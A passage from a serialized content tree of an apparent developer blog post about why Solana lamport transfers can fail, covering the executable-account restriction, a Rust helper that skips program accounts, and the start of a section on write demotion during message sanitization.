lamports",{"type":23,"tag":141,"props":71687,"children":71688},{"style":160},[71689],{"type":29,"value":7395},{"type":23,"tag":141,"props":71691,"children":71692},{"style":449},[71693],{"type":29,"value":12475},{"type":23,"tag":141,"props":71695,"children":71696},{"style":160},[71697],{"type":29,"value":322},{"type":23,"tag":141,"props":71699,"children":71700},{"style":184},[71701],{"type":29,"value":71702},"get_lamports",{"type":23,"tag":141,"props":71704,"children":71705},{"style":154},[71706],{"type":29,"value":14412},{"type":23,"tag":141,"props":71708,"children":71709},{"class":143,"line":241},[71710,71714,71718,71722,71726,71730,71735],{"type":23,"tag":141,"props":71711,"children":71712},{"style":148},[71713],{"type":29,"value":14420},{"type":23,"tag":141,"props":71715,"children":71716},{"style":725},[71717],{"type":29,"value":14425},{"type":23,"tag":141,"props":71719,"children":71720},{"style":154},[71721],{"type":29,"value":192},{"type":23,"tag":141,"props":71723,"children":71724},{"style":725},[71725],{"type":29,"value":14434},{"type":23,"tag":141,"props":71727,"children":71728},{"style":160},[71729],{"type":29,"value":2141},{"type":23,"tag":141,"props":71731,"children":71732},{"style":725},[71733],{"type":29,"value":71734},"ExternalAccountLamportSpend",{"type":23,"tag":141,"props":71736,"children":71737},{"style":154},[71738],{"type":29,"value":2496},{"type":23,"tag":141,"props":71740,"children":71741},{"class":143,"line":262},[71742],{"type":23,"tag":141,"props":71743,"children":71744},{"style":154},[71745],{"type":29,"value":299},{"type":23,"tag":141,"props":71747,"children":71748},{"class":143,"line":271},[71749],{"type":23,"tag":141,"props":71750,"children":71751},{"style":443},[71752],{"type":29,"value":71753}," // The balance of read-only may not change\n",{"type":23,"tag":141,"props":71755,"children":71756},{"class":143,"line":293},[71757,71761,71765,71769,71773,71778],{"type":23,"tag":141,"props":71758,"children":71759},{"style":148},[71760],{"type":29,"value":151},{"type":23,"tag":141,"props":71762,"children":71763},{"style":160},[71764],{"type":29,"value":1258},{"type":23,"tag":141,"props":71766,"children":71767},{"style":449},[71768],{"type":29,"value":12391},{"type":23,"tag":141,"props":71770,"children":71771},{"style":160},[71772],{"type":29,"value":322},{"type":23,"tag":141,"props":71774,"children":71775},{"style":184},[71776],{"type":29,"value":71777},"is_writable",{"type":23,"tag":141,"props":71779,"children":71780},{"style":154},[71781],{"type":29,"value":14412},{"type":23,"tag":141,"props":71783,"children":71784},{"class":143,"line":801},[71785,71789,71793,71797,71801,71805,71810],{"type":23,"tag":141,"props":71786,"children":71787},{"style":148},[71788],{"type":29,"value":14420},{"type":23,"tag":141,"props":71790,"children":71791},{"style":725},[71792],{"type":29,"value":14425},{"type":23,"tag":141,"props":71794,"children":71795},{"style":154},[71796],{"type":29,"value":192},{"type":23,"tag":141,"props":71798,"children":71799},{"style":725},[71800],{"type":29,"value":14434},{"type":23,"tag":141,"props":71802,"children":71803},{"style":160},[71804],{"type":29,"value":2141},{"type":23,"tag":141,"props":71806,"children":71807},{"style":725},[71808],{"type":29,"value":71809},"ReadonlyLamportChange",{"type":23,"tag":141,"props":71811,"children":71812},{"style":154},[71813],{"type":29,"value":2496},{"type":23,"tag":141,"props":71815,"children":71816},{"class":143,"line":810},[71817],{"type":23,"tag":141,"props":71818,"children":71819},{"style":154},[71820],{"type":29,"value":299},{"type":23,"tag":141,"props":71822,"children":71823},{"class":143,"line":824},[71824],{"type":23,"tag":141,"props":71825,"children":71826},{"style":443},[71827],{"type":29,"value":71828}," // The balance of executable accounts may not change\n",{"type":23,"tag":141,"props":71830,"children":71831},{"class":143,"line":839},[71832,71836,71840,71844,71849],{"type":23,"tag":141,"props":71833,"children":71834},{"style":148},[71835],{"type":29,"value":151},{"type":23,"tag":141,"props":71837,"children":71838},{"style":449},[71839],{"type":29,"value":12475},{"type":23,"tag":141,"props":71841,"children":71842},{"style":160},[71843],{"type":29,"value":322},{"type":23,"tag":141,"props":71845,"children":71846},{"style":184},[71847],{"type":29,"value":71848},"is_executable_internal",{"type":23,"tag":141,"props":71850,"children":71851},{"style":154},[71852],{"type":29,"value":14412},{"type":23,"tag":141,"props":71854,"children":71855},{"class":143,"line":848},[71856,71860,71864,71868,71872,71876,71881],{"type":23,"tag":141,"props":71857,"children":71858},{"style":148},[71859],{"type":29,"value":14420},{"type":23,"tag":141,"props":71861,"children":71862},{"style":725},[71863],{"type":29,"value":14425},{"type":23,"tag":141,"props":71865,"children":71866},{"style":154},[71867],{"type":29,"value":192},{"type":23,"tag":141,"props":71869,"children":71870},{"style":725},[71871],{"type":29,"value":14434},{"type":23,"tag":141,"props":71873,"children":71874},{"style":160},[71875],{"type":29,"value":2141},{"type":23,"tag":141,"props":71877,"children":71878},{"style":725},[71879],{"type":29,"value":71880},"ExecutableLamportChange",{"type":23,"tag":141,"props":71882,"children":71883},{"style":154},[71884],{"type":29,"value":2496},{"type":23,"tag":141,"props":71886,"children":71887},{"class":143,"line":2304},[71888],{"type":23,"tag":141,"props":71889,"children":71890},{"style":154},[71891],{"type":29,"value":299},{"type":23,"tag":141,"props":71893,"children":71894},{"class":143,"line":2313},[71895],{"type":23,"tag":141,"props":71896,"children":71897},{"style":443},[71898],{"type":29,"value":71899}," // don't touch the account if the lamports do not change\n",{"type":23,"tag":141,"props":71901,"children":71902},{"class":143,"line":2335},[71903,71907,71911,71915,71919,71923,71927,71931],{"type":23,"tag":141,"props":71904,"children":71905},{"style":148},[71906],{"type":29,"value":151},{"type":23,"tag":141,"props":71908,"children":71909},{"style":449},[71910],{"type":29,"value":12475},{"type":23,"tag":141,"props":71912,"children":71913},{"style":160},[71914],{"type":29,"value":322},{"type":23,"tag":141,"props":71916,"children":71917},{"style":184},[71918],{"type":29,"value":71702},{"type":23,"tag":141,"props":71920,"children":71921},{"style":154},[71922],{"type":29,"value":12720},{"type":23,"tag":141,"props":71924,"children":71925},{"style":160},[71926],{"type":29,"value":7251},{"type":23,"tag":141,"props":71928,"children":71929},{"style":750},[71930],{"type":29,"value":71685},{"type":23,"tag":141,"props":71932,"children":71933},{"style":154},[71934],{"type":29,"value":1951},{"type":23,"tag":141,"props":71936,"children":71937},{"class":143,"line":2343},[71938,71942,71946],{"type":23,"tag":141,"props":71939,"children":71940},{"style":148},[71941],{"type":29,"value":14420},{"type":23,"tag":141,"props":71943,"children":71944},{"style":725},[71945],{"type":29,"value":41410},{"type":23,"tag":141,"props":71947,"children":71948},{"style":154},[71949],{"type":29,"value":71950},"(());\n",{"type":23,"tag":141,"props":71952,"children":71953},{"class":143,"line":2352},[71954],{"type":23,"tag":141,"props":71955,"children":71956},{"style":154},[71957],{"type":29,"value":299},{"type":23,"tag":141,"props":71959,"children":71960},{"class":143,"line":2421},[71961,71965,71969,71974,71978,71982],{"type":23,"tag":141,"props":71962,"children":71963},{"style":449},[71964],{"type":29,"value":19458},{"type":23,"tag":141,"props":71966,"children":71967},{"style":160},[71968],{"type":29,"value":322},{"type":23,"tag":141,"props":71970,"children":71971},{"style":184},[71972],{"type":29,"value":71973},"touch",{"type":23,"tag":141,"props":71975,"children":71976},{"style":154},[71977],{"type":29,"value":12557},{"type":23,"tag":141,"props":71979,"children":71980},{"style":160},[71981],{"type":29,"value":1816},{"type":23,"tag":141,"props":71983,"children":71984},{"style":154},[71985],{"type":29,"value":1684},{"type":23,"tag":141,"props":71987,"children":71988},{"class":143,"line":2429},[71989,71993,71997,72001,72005,72009,72013,72017],{"type":23,"tag":141,"props":71990,"children":71991},{"style":449},[71992],{"type":29,"value":19458},{"type":23,"tag":141,"props":71994,"children":71995},{"style":160},[71996],{"type":29,"value":322},{"type":23,"tag":141,"props":71998,"children":71999},{"style":154},[72000],{"type":29,"value":11631},{"type":23,"tag":141,"props":72002,"children":72003},{"style":160},[72004],{"type":29,"value":322},{"type":23,"tag":141,"props":72006,"children":72007},{"style":184},[72008],{"type":29,"value":71516},{"type":23,"tag":141,"props":72010,"children":72011},{"style":154},[72012],{"type":29,"value":192},{"type":23,"tag":141,"props":72014,"children":72015},{"style":750},[72016],{"type":29,"value":14187},{"type":23,"tag":141,"props":72018,"children":72019},{"style":154},[72020],{"type":29,"value":2496},{"type":23,"tag":141,"props":72022,"children":72023},{"class":143,"line":2459},[72024,72028],{"type":23,"tag":141,"props":72025,"children":72026},{"style":725},[72027],{"type":29,"value":13009},{"type":23,"tag":141,"props":72029,"children":72030},{"style":154},[72031],{"type":29,"value":13014},{"type":23,"tag":141,"props":72033,"children":72034},{"class":143,"line":2467},[72035],{"type":23,"tag":141,"props":72036,"children":72037},{"style":154},[72038],{"type":29,"value":2573},{"type":23,"tag":141,"props":72040,"children":72041},{"class":143,"line":2499},[72042],{"type":23,"tag":141,"props":72043,"children":72044},{"emptyLinePlaceholder":15},[72045],{"type":29,"value":719},{"type":23,"tag":141,"props":72047,"children":72048},{"class":143,"line":2507},[72049],{"type":23,"tag":141,"props":72050,"children":72051},{"style":443},[72052],{"type":29,"value":72053},"/// Feature gating to remove `is_executable` flag related checks\n",{"type":23,"tag":141,"props":72055,"children":72056},{"class":143,"line":2567},[72057,72061,72065,72069],{"type":23,"tag":141,"props":72058,"children":72059},{"style":154},[72060],{"type":29,"value":71554},{"type":23,"tag":141,"props":72062,"children":72063},{"style":160},[72064],{"type":29,"value":1377},{"type":23,"tag":141,"props":72066,"children":72067},{"style":828},[72068],{"type":29,"value":71563},{"type":23,"tag":141,"props":72070,"children":72071},{"style":154},[72072],{"type":29,"value":19280},{"type":23,"tag":141,"props":72074,"children":72075},{"class":143,"line":7724},[72076],{"type":23,"tag":141,"props":72077,"children":72078},{"style":154},[72079],{"type":29,"value":72080},"#[inline]\n",{"type":23,"tag":141,"props":72082,"children":72083},{"class":143,"line":7742},[72084,72088,72093,72097,72101,72105,72109,72113,72117],{"type":23,"tag":141,"props":72085,"children":72086},{"style":449},[72087],{"type":29,"value":18938},{"type":23,"tag":141,"props":72089,"children":72090},{"style":184},[72091],{"type":29,"value":72092}," is_executable_internal",{"type":23,"tag":141,"props":72094,"children":72095},{"style":154},[72096],{"type":29,"value":192},{"type":23,"tag":141,"props":72098,"children":72099},{"style":160},[72100],{"type":29,"value":1770},{"type":23,"tag":141,"props":72102,"children":72103},{"style":449},[72104],{"type":29,"value":12391},{"type":23,"tag":141,"props":72106,"children":72107},{"style":154},[72108],{"type":29,"value":1748},{"type":23,"tag":141,"props":72110,"children":72111},{"style":160},[72112],{"type":29,"value":12435},{"type":23,"tag":141,"props":72114,"children":72115},{"style":725},[72116],{"type":29,"value":10730},{"type":23,"tag":141,"props":72118,"children":72119},{"style":154},[72120],{"type":29,"value":1951},{"type":23,"tag":141,"props":72122,"children":72123},{"class":143,"line":7787},[72124,72128],{"type":23,"tag":141,"props":72125,"children":72126},{"style":160},[72127],{"type":29,"value":19642},{"type":23,"tag":141,"props":72129,"children":72130},{"style":449},[72131],{"type":29,"value":72132},"self\n",{"type":23,"tag":141,"props":72134,"children":72135},{"class":143,"line":7893},[72136,72140],{"type":23,"tag":141,"props":72137,"children":72138},{"style":160},[72139],{"type":29,"value":66742},{"type":23,"tag":141,"props":72141,"children":72142},{"style":154},[72143],{"type":29,"value":72144},"transaction_context\n",{"type":23,"tag":141,"props":72146,"children":72147},{"class":143,"line":22181},[72148,72152],{"type":23,"tag":141,"props":72149,"children":72150},{"style":160},[72151],{"type":29,"value":66742},{"type":23,"tag":141,"props":72153,"children":72154},{"style":154},[72155],{"type":29,"value":72156},"remove_accounts_executable_flag_checks\n",{"type":23,"tag":141,"props":72158,"children":72159},{"class":143,"line":22216},[72160,72164,72168,72172,72176,72180,72184],{"type":23,"tag":141,"props":72161,"children":72162},{"style":160},[72163],{"type":29,"value":41274},{"type":23,"tag":141,"props":72165,"children":72166},{"style":449},[72167],{"type":29,"value":12475},{"type":23,"tag":141,"props":72169,"children":72170},{"style":160},[72171],{"type":29,"value":322},{"type":23,"tag":141,"props":72173,"children":72174},{"style":154},[72175],{"type":29,"value":11631},{"type":23,"tag":141,"props":72177,"children":72178},{"style":160},[72179],{"type":29,"value":322},{"type":23,"tag":141,"props":72181,"children":72182},{"style":184},[72183],{"type":29,"value":14331},{"type":23,"tag":141,"props":72185,"children":72186},{"style":154},[72187],{"type":29,"value":6410},{"type":23,"tag":141,"props":72189,"children":72190},{"class":143,"line":22224},[72191],{"type":23,"tag":141,"props":72192,"children":72193},{"style":154},[72194],{"type":29,"value":2573},{"type":23,"tag":32,"props":72196,"children":72197},{},[72198],{"type":29,"value":72199},"Turns out: even writable, rent-exempt accounts can still reject lamport transfers.",{"type":23,"tag":32,"props":72201,"children":72202},{},[72203,72205,72210],{"type":29,"value":72204},"Specifically, ",{"type":23,"tag":3998,"props":72206,"children":72207},{},[72208],{"type":29,"value":72209},"executable accounts",{"type":29,"value":72211}," cannot receive or send lamports — the runtime treats them as immutable.",{"type":23,"tag":17563,"props":72213,"children":72215},{"id":72214},"sidebar-whats-the-executable-flag-anyway",[72216],{"type":29,"value":72217},"Sidebar: What's the executable Flag Anyway?",{"type":23,"tag":32,"props":72219,"children":72220},{},[72221,72222,72227],{"type":29,"value":388},{"type":23,"tag":38,"props":72223,"children":72225},{"className":72224},[],[72226],{"type":29,"value":14331},{"type":29,"value":72228}," flag is a legacy mechanism marking accounts that hold program code. Historically, an account with this flag was assumed to either contain immutable BPF bytecode or was a proxy to a built-in program, and therefore it made sense to consider it read-only for performance reasons.",{"type":23,"tag":32,"props":72230,"children":72231},{},[72232,72234,72239],{"type":29,"value":72233},"This behavior became problematic with the introduction of the ",{"type":23,"tag":3998,"props":72235,"children":72236},{},[72237],{"type":29,"value":72238},"Upgradeable BPF Loader",{"type":29,"value":72240},". A workaround was used to maintain compatibility with the existing runtime logic. The program data containing bpf bytecode was split into a separate account, ProgramData, with the program account now only containing an address pointing to the ProgramData account:",{"type":23,"tag":131,"props":72242,"children":72244},{"className":1639,"code":72243,"language":1638,"meta":7,"style":7},"Program {\n /// Address of the ProgramData account.\n programdata_address: Pubkey,\n},\nProgramData {\n /// Slot that the program was last modified.\n slot: u64,\n /// Address of the Program's upgrade authority.\n upgrade_authority_address: Option\u003CPubkey>,\n // The raw program data follows this serialized structure in the\n // account's data.\n},\n",[72245],{"type":23,"tag":38,"props":72246,"children":72247},{"__ignoreMap":7},[72248,72260,72268,72288,72296,72308,72316,72336,72344,72372,72380,72388],{"type":23,"tag":141,"props":72249,"children":72250},{"class":143,"line":144},[72251,72256],{"type":23,"tag":141,"props":72252,"children":72253},{"style":725},[72254],{"type":29,"value":72255},"Program",{"type":23,"tag":141,"props":72257,"children":72258},{"style":154},[72259],{"type":29,"value":1951},{"type":23,"tag":141,"props":72261,"children":72262},{"class":143,"line":180},[72263],{"type":23,"tag":141,"props":72264,"children":72265},{"style":443},[72266],{"type":29,"value":72267}," /// Address of the ProgramData account.\n",{"type":23,"tag":141,"props":72269,"children":72270},{"class":143,"line":205},[72271,72276,72280,72284],{"type":23,"tag":141,"props":72272,"children":72273},{"style":750},[72274],{"type":29,"value":72275}," programdata_address",{"type":23,"tag":141,"props":72277,"children":72278},{"style":160},[72279],{"type":29,"value":114},{"type":23,"tag":141,"props":72281,"children":72282},{"style":725},[72283],{"type":29,"value":19529},{"type":23,"tag":141,"props":72285,"children":72286},{"style":154},[72287],{"type":29,"value":2168},{"type":23,"tag":141,"props":72289,"children":72290},{"class":143,"line":218},[72291],{"type":23,"tag":141,"props":72292,"children":72293},{"style":154},[72294],{"type":29,"value":72295},"},\n",{"type":23,"tag":141,"props":72297,"children":72298},{"class":143,"line":227},[72299,72304],{"type":23,"tag":141,"props":72300,"children":72301},{"style":725},[72302],{"type":29,"value":72303},"ProgramData",{"type":23,"tag":141,"props":72305,"children":72306},{"style":154},[72307],{"type":29,"value":1951},{"type":23,"tag":141,"props":72309,"children":72310},{"class":143,"line":241},[72311],{"type":23,"tag":141,"props":72312,"children":72313},{"style":443},[72314],{"type":29,"value":72315}," /// Slot that the program was last modified.\n",{"type":23,"tag":141,"props":72317,"children":72318},{"class":143,"line":262},[72319,72324,72328,72332],{"type":23,"tag":141,"props":72320,"children":72321},{"style":750},[72322],{"type":29,"value":72323}," slot",{"type":23,"tag":141,"props":72325,"children":72326},{"style":160},[72327],{"type":29,"value":114},{"type":23,"tag":141,"props":72329,"children":72330},{"style":725},[72331],{"type":29,"value":4534},{"type":23,"tag":141,"props":72333,"children":72334},{"style":154},[72335],{"type":29,"value":2168},{"type":23,"tag":141,"props":72337,"children":72338},{"class":143,"line":271},[72339],{"type":23,"tag":141,"props":72340,"children":72341},{"style":443},[72342],{"type":29,"value":72343}," /// Address of the Program's upgrade authority.\n",{"type":23,"tag":141,"props":72345,"children":72346},{"class":143,"line":293},[72347,72352,72356,72360,72364,72368],{"type":23,"tag":141,"props":72348,"children":72349},{"style":750},[72350],{"type":29,"value":72351}," upgrade_authority_address",{"type":23,"tag":141,"props":72353,"children":72354},{"style":160},[72355],{"type":29,"value":114},{"type":23,"tag":141,"props":72357,"children":72358},{"style":725},[72359],{"type":29,"value":26330},{"type":23,"tag":141,"props":72361,"children":72362},{"style":154},[72363],{"type":29,"value":4480},{"type":23,"tag":141,"props":72365,"children":72366},{"style":725},[72367],{"type":29,"value":20070},{"type":23,"tag":141,"props":72369,"children":72370},{"style":154},[72371],{"type":29,"value":4812},{"type":23,"tag":141,"props":72373,"children":72374},{"class":143,"line":801},[72375],{"type":23,"tag":141,"props":72376,"children":72377},{"style":443},[72378],{"type":29,"value":72379}," // The raw program data follows this serialized structure in the\n",{"type":23,"tag":141,"props":72381,"children":72382},{"class":143,"line":810},[72383],{"type":23,"tag":141,"props":72384,"children":72385},{"style":443},[72386],{"type":29,"value":72387}," // account's data.\n",{"type":23,"tag":141,"props":72389,"children":72390},{"class":143,"line":824},[72391],{"type":23,"tag":141,"props":72392,"children":72393},{"style":154},[72394],{"type":29,"value":72295},{"type":23,"tag":32,"props":72396,"children":72397},{},[72398,72400,72407],{"type":29,"value":72399},"Eventually, the executable flag will be removed entirely as proposed in ",{"type":23,"tag":55,"props":72401,"children":72404},{"href":72402,"rel":72403},"https://github.com/solana-foundation/solana-improvement-documents/blob/main/proposals/0162-remove-accounts-executable-flag-checks.md",[59],[72405],{"type":29,"value":72406},"SIMD-0162",{"type":29,"value":72408},". The reasoning is simple: an account's owner and its content are sufficient to determine if it's a valid program — the executable flag is redundant.",{"type":23,"tag":32,"props":72410,"children":72411},{},[72412,72414,72419,72421,72426],{"type":29,"value":72413},"This change is also a ",{"type":23,"tag":3998,"props":72415,"children":72416},{},[72417],{"type":29,"value":72418},"hard requirement for supporting the new loader-v4",{"type":29,"value":72420},". Unlike the upgradable loader, which relies on a separate ",{"type":23,"tag":38,"props":72422,"children":72424},{"className":72423},[],[72425],{"type":29,"value":72303},{"type":29,"value":72427}," proxy account, loader-v4 stores all program data directly in the program account itself.",{"type":23,"tag":32,"props":72429,"children":72430},{},[72431,72433,72440,72442,72447],{"type":29,"value":72432},"As a result, it becomes impossible to modify the account's size after deployment, or to ",{"type":23,"tag":55,"props":72434,"children":72437},{"href":72435,"rel":72436},"https://github.com/anza-xyz/agave/blob/7a1e57469a5b1aeed617457c0519803620ba953f/programs/bpf_loader/src/lib.rs#L1411",[59],[72438],{"type":29,"value":72439},"migrate",{"type":29,"value":72441}," from the upgradable loader to loader-v4 — without hitting the ",{"type":23,"tag":38,"props":72443,"children":72445},{"className":72444},[],[72446],{"type":29,"value":71880},{"type":29,"value":72448}," restriction.",{"type":23,"tag":17563,"props":72450,"children":72452},{"id":72451},"fix-2-reject-program-accounts",[72453],{"type":29,"value":72454},"Fix 2: Reject Program Accounts",{"type":23,"tag":32,"props":72456,"children":72457},{},[72458],{"type":29,"value":72459},"To avoid this footgun, let’s explicitly skip any executable account:",{"type":23,"tag":131,"props":72461,"children":72463},{"className":1639,"code":72462,"language":1638,"meta":7,"style":7},"pub fn can_transfer_lamports(account: &AccountInfo, lamports: u64) -> Result\u003Cbool> {\nfn is_program(account: &AccountInfo) -> bool {\n account.executable\n}\nlet rent = Rent::get()?;\nlet balance_after = account.lamports() + lamports;\nOk(account.is_writable\n && rent.is_exempt(balance_after, account.data_len())\n && !is_program(account))\n}\n",[72464],{"type":23,"tag":38,"props":72465,"children":72466},{"__ignoreMap":7},[72467,72543,72591,72607,72614,72653,72697,72721,72770,72798],{"type":23,"tag":141,"props":72468,"children":72469},{"class":143,"line":144},[72470,72474,72478,72483,72487,72491,72495,72499,72503,72507,72511,72515,72519,72523,72527,72531,72535,72539],{"type":23,"tag":141,"props":72471,"children":72472},{"style":449},[72473],{"type":29,"value":12368},{"type":23,"tag":141,"props":72475,"children":72476},{"style":449},[72477],{"type":29,"value":12373},{"type":23,"tag":141,"props":72479,"children":72480},{"style":184},[72481],{"type":29,"value":72482}," can_transfer_lamports",{"type":23,"tag":141,"props":72484,"children":72485},{"style":154},[72486],{"type":29,"value":192},{"type":23,"tag":141,"props":72488,"children":72489},{"style":750},[72490],{"type":29,"value":11631},{"type":23,"tag":141,"props":72492,"children":72493},{"style":160},[72494],{"type":29,"value":114},{"type":23,"tag":141,"props":72496,"children":72497},{"style":160},[72498],{"type":29,"value":5815},{"type":23,"tag":141,"props":72500,"children":72501},{"style":725},[72502],{"type":29,"value":13615},{"type":23,"tag":141,"props":72504,"children":72505},{"style":154},[72506],{"type":29,"value":480},{"type":23,"tag":141,"props":72508,"children":72509},{"style":750},[72510],{"type":29,"value":14187},{"type":23,"tag":141,"props":72512,"children":72513},{"style":160},[72514],{"type":29,"value":114},{"type":23,"tag":141,"props":72516,"children":72517},{"style":725},[72518],{"type":29,"value":4534},{"type":23,"tag":141,"props":72520,"children":72521},{"style":154},[72522],{"type":29,"value":1748},{"type":23,"tag":141,"props":72524,"children":72525},{"style":160},[72526],{"type":29,"value":12435},{"type":23,"tag":141,"props":72528,"children":72529},{"style":725},[72530],{"type":29,"value":12440},{"type":23,"tag":141,"props":72532,"children":72533},{"style":154},[72534],{"type":29,"value":4480},{"type":23,"tag":141,"props":72536,"children":72537},{"style":725},[72538],{"type":29,"value":747},{"type":23,"tag":141,"props":72540,"children":72541},{"style":154},[72542],{"type":29,"value":5955},{"type":23,"tag":141,"props":72544,"children":72545},{"class":143,"line":180},[72546,72550,72555,72559,72563,72567,72571,72575,72579,72583,72587],{"type":23,"tag":141,"props":72547,"children":72548},{"style":449},[72549],{"type":29,"value":18938},{"type":23,"tag":141,"props":72551,"children":72552},{"style":184},[72553],{"type":29,"value":72554}," is_program",{"type":23,"tag":141,"props":72556,"children":72557},{"style":154},[72558],{"type":29,"value":192},{"type":23,"tag":141,"props":72560,"children":72561},{"style":750},[72562],{"type":29,"value":11631},{"type":23,"tag":141,"props":72564,"children":72565},{"style":160},[72566],{"type":29,"value":114},{"type":23,"tag":141,"props":72568,"children":72569},{"style":160},[72570],{"type":29,"value":5815},{"type":23,"tag":141,"props":72572,"children":72573},{"style":725},[72574],{"type":29,"value":13615},{"type":23,"tag":141,"props":72576,"children":72577},{"style":154},[72578],{"type":29,"value":1748},{"type":23,"tag":141,"props":72580,"children":72581},{"style":160},[72582],{"type":29,"value":12435},{"type":23,"tag":141,"props":72584,"children":72585},{"style":725},[72586],{"type":29,"value":10730},{"type":23,"tag":141,"props":72588,"children":72589},{"style":154},[72590],{"type":29,"value":1951},{"type":23,"tag":141,"props":72592,"children":72593},{"class":143,"line":205},[72594,72598,72602],{"type":23,"tag":141,"props":72595,"children":72596},{"style":750},[72597],{"type":29,"value":23855},{"type":23,"tag":141,"props":72599,"children":72600},{"style":160},[72601],{"type":29,"value":322},{"type":23,"tag":141,"props":72603,"children":72604},{"style":154},[72605],{"type":29,"value":72606},"executable\n",{"type":23,"tag":141,"props":72608,"children":72609},{"class":143,"line":218},[72610],{"type":23,"tag":141,"props":72611,"children":72612},{"style":154},[72613],{"type":29,"value":2573},{"type":23,"tag":141,"props":72615,"children":72616},{"class":143,"line":227},[72617,72621,72625,72629,72633,72637,72641,72645,72649],{"type":23,"tag":141,"props":72618,"children":72619},{"style":449},[72620],{"type":29,"value":10467},{"type":23,"tag":141,"props":72622,"children":72623},{"style":750},[72624],{"type":29,"value":71374},{"type":23,"tag":141,"props":72626,"children":72627},{"style":160},[72628],{"type":29,"value":1674},{"type":23,"tag":141,"props":72630,"children":72631},{"style":725},[72632],{"type":29,"value":41945},{"type":23,"tag":141,"props":72634,"children":72635},{"style":160},[72636],{"type":29,"value":2141},{"type":23,"tag":141,"props":72638,"children":72639},{"style":184},[72640],{"type":29,"value":15028},{"type":23,"tag":141,"props":72642,"children":72643},{"style":154},[72644],{"type":29,"value":12557},{"type":23,"tag":141,"props":72646,"children":72647},{"style":160},[72648],{"type":29,"value":1816},{"type":23,"tag":141,"props":72650,"children":72651},{"style":154},[72652],{"type":29,"value":1684},{"type":23,"tag":141,"props":72654,"children":72655},{"class":143,"line":241},[72656,72660,72665,72669,72673,72677,72681,72685,72689,72693],{"type":23,"tag":141,"props":72657,"children":72658},{"style":449},[72659],{"type":29,"value":10467},{"type":23,"tag":141,"props":72661,"children":72662},{"style":750},[72663],{"type":29,"value":72664}," balance_after",{"type":23,"tag":141,"props":72666,"children":72667},{"style":160},[72668],{"type":29,"value":1674},{"type":23,"tag":141,"props":72670,"children":72671},{"style":750},[72672],{"type":29,"value":4156},{"type":23,"tag":141,"props":72674,"children":72675},{"style":160},[72676],{"type":29,"value":322},{"type":23,"tag":141,"props":72678,"children":72679},{"style":184},[72680],{"type":29,"value":14187},{"type":23,"tag":141,"props":72682,"children":72683},{"style":154},[72684],{"type":29,"value":12720},{"type":23,"tag":141,"props":72686,"children":72687},{"style":160},[72688],{"type":29,"value":3058},{"type":23,"tag":141,"props":72690,"children":72691},{"style":750},[72692],{"type":29,"value":71685},{"type":23,"tag":141,"props":72694,"children":72695},{"style":154},[72696],{"type":29,"value":1684},{"type":23,"tag":141,"props":72698,"children":72699},{"class":143,"line":262},[72700,72704,72708,72712,72716],{"type":23,"tag":141,"props":72701,"children":72702},{"style":725},[72703],{"type":29,"value":19161},{"type":23,"tag":141,"props":72705,"children":72706},{"style":154},[72707],{"type":29,"value":192},{"type":23,"tag":141,"props":72709,"children":72710},{"style":750},[72711],{"type":29,"value":11631},{"type":23,"tag":141,"props":72713,"children":72714},{"style":160},[72715],{"type":29,"value":322},{"type":23,"tag":141,"props":72717,"children":72718},{"style":154},[72719],{"type":29,"value":72720},"is_writable\n",{"type":23,"tag":141,"props":72722,"children":72723},{"class":143,"line":271},[72724,72728,72732,72736,72741,72745,72750,72754,72758,72762,72766],{"type":23,"tag":141,"props":72725,"children":72726},{"style":160},[72727],{"type":29,"value":14297},{"type":23,"tag":141,"props":72729,"children":72730},{"style":750},[72731],{"type":29,"value":71374},{"type":23,"tag":141,"props":72733,"children":72734},{"style":160},[72735],{"type":29,"value":322},{"type":23,"tag":141,"props":72737,"children":72738},{"style":184},[72739],{"type":29,"value":72740},"is_exempt",{"type":23,"tag":141,"props":72742,"children":72743},{"style":154},[72744],{"type":29,"value":192},{"type":23,"tag":141,"props":72746,"children":72747},{"style":750},[72748],{"type":29,"value":72749},"balance_after",{"type":23,"tag":141,"props":72751,"children":72752},{"style":154},[72753],{"type":29,"value":480},{"type":23,"tag":141,"props":72755,"children":72756},{"style":750},[72757],{"type":29,"value":11631},{"type":23,"tag":141,"props":72759,"children":72760},{"style":160},[72761],{"type":29,"value":322},{"type":23,"tag":141,"props":72763,"children":72764},{"style":184},[72765],{"type":29,"value":12484},{"type":23,"tag":141,"props":72767,"children":72768},{"style":154},[72769],{"type":29,"value":14336},{"type":23,"tag":141,"props":72771,"children":72772},{"class":143,"line":293},[72773,72777,72781,72786,72790,72794],{"type":23,"tag":141,"props":72774,"children":72775},{"style":160},[72776],{"type":29,"value":14297},{"type":23,"tag":141,"props":72778,"children":72779},{"style":160},[72780],{"type":29,"value":1258},{"type":23,"tag":141,"props":72782,"children":72783},{"style":184},[72784],{"type":29,"value":72785},"is_program",{"type":23,"tag":141,"props":72787,"children":72788},{"style":154},[72789],{"type":29,"value":192},{"type":23,"tag":141,"props":72791,"children":72792},{"style":750},[72793],{"type":29,"value":11631},{"type":23,"tag":141,"props":72795,"children":72796},{"style":154},[72797],{"type":29,"value":498},{"type":23,"tag":141,"props":72799,"children":72800},{"class":143,"line":801},[72801],{"type":23,"tag":141,"props":72802,"children":72803},{"style":154},[72804],{"type":29,"value":2573},{"type":23,"tag":32,"props":72806,"children":72807},{},[72808],{"type":29,"value":72809},"Now we’re safe...right?",{"type":23,"tag":8287,"props":72811,"children":72813},{"id":72812},"bug-3-the-write-demotion-trap",[72814],{"type":29,"value":72815},"Bug 3: The Write-Demotion Trap",{"type":23,"tag":32,"props":72817,"children":72818},{},[72819,72821,72826,72828,72833],{"type":29,"value":72820},"On Solana, accounts passed as ",{"type":23,"tag":3998,"props":72822,"children":72823},{},[72824],{"type":29,"value":72825},"writable",{"type":29,"value":72827}," in a transaction can be ",{"type":23,"tag":3998,"props":72829,"children":72830},{},[72831],{"type":29,"value":72832},"silently downgraded to read-only",{"type":29,"value":72834},". This behavior occurs during message sanitization — even before your program runs.",{"type":23,"tag":32,"props":72836,"children":72837},{},[72838,72840,72847],{"type":29,"value":72839},"Let’s walk through the logic for legacy messages (note: the same rules apply to ",{"type":23,"tag":55,"props":72841,"children":72844},{"href":72842,"rel":72843},"https://github.com/anza-xyz/solana-sdk/blob/master/message/src/versions/v0/loaded.rs#L58-L98",[59],[72845],{"type":29,"value":72846},"MessageV0",{"type":29,"value":72848},", but legacy is simpler to follow):",{"type":23,"tag":131,"props":72850,"children":72852},{"className":1639,"code":72851,"language":1638,"meta":7,"style":7},"// https://github.com/anza-xyz/solana-sdk/blob/master/message/src/sanitized.rs#L39-L55\nimpl LegacyMessage\u003C'_> {\n pub fn new(message: legacy::Message, reserved_account_keys: 